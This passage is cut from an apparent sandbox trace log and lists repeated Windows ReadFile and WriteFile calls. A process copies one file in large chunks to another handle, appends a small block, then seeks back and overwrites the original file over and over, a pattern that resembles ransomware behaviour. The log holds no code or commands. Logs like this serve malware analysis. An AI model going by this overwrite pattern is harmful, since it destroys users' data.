lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0271.838] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0271.911] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0272.028] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0272.083] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0272.117] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0272.139] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0272.184] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0272.225] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0272.347] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0272.396] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0272.420] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0272.507] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0272.590] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0272.649] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0272.701] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0272.840] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0272.945] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0272.995] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0273.032] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0273.224] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0273.280] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0273.468] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0273.512] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0273.539] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0273.611] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0273.692] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0273.784] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0273.810] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0273.929] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0274.003] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0274.034] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0274.111] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0274.141] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0274.162] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0274.193] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0274.214] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0274.285] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0274.401] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0275.030] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0275.159] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0275.281] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0275.337] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0275.419] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0275.596] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0275.628] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0275.676] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0275.766] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0275.867] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0275.934] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0276.092] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0276.163] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0276.190] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0276.282] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0xdbd00, lpOverlapped=0x0) returned 1 [0276.299] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0xdbd10, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0xdbd10, lpOverlapped=0x0) returned 1 [0276.455] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0xf2, lpOverlapped=0x0) returned 1 [0276.455] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f690 | out: lpNewFilePointer=0x0) returned 1 [0276.455] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f690 | out: lpNewFilePointer=0x0) returned 1 [0276.455] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0276.836] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0276.991] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.068] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.086] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.190] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.204] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.219] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.253] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.268] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.356] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.387] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.402] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.463] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.477] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.528] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.552] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.573] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.588] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.602] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.640] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.655] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.671] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.718] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.734] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.749] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.768] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.783] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.855] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.871] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.898] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.929] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.952] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.972] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0277.987] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.008] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.025] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.039] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.076] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.090] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.159] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.174] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.189] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0278.254] WriteFile (in: hFile=0x188, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, 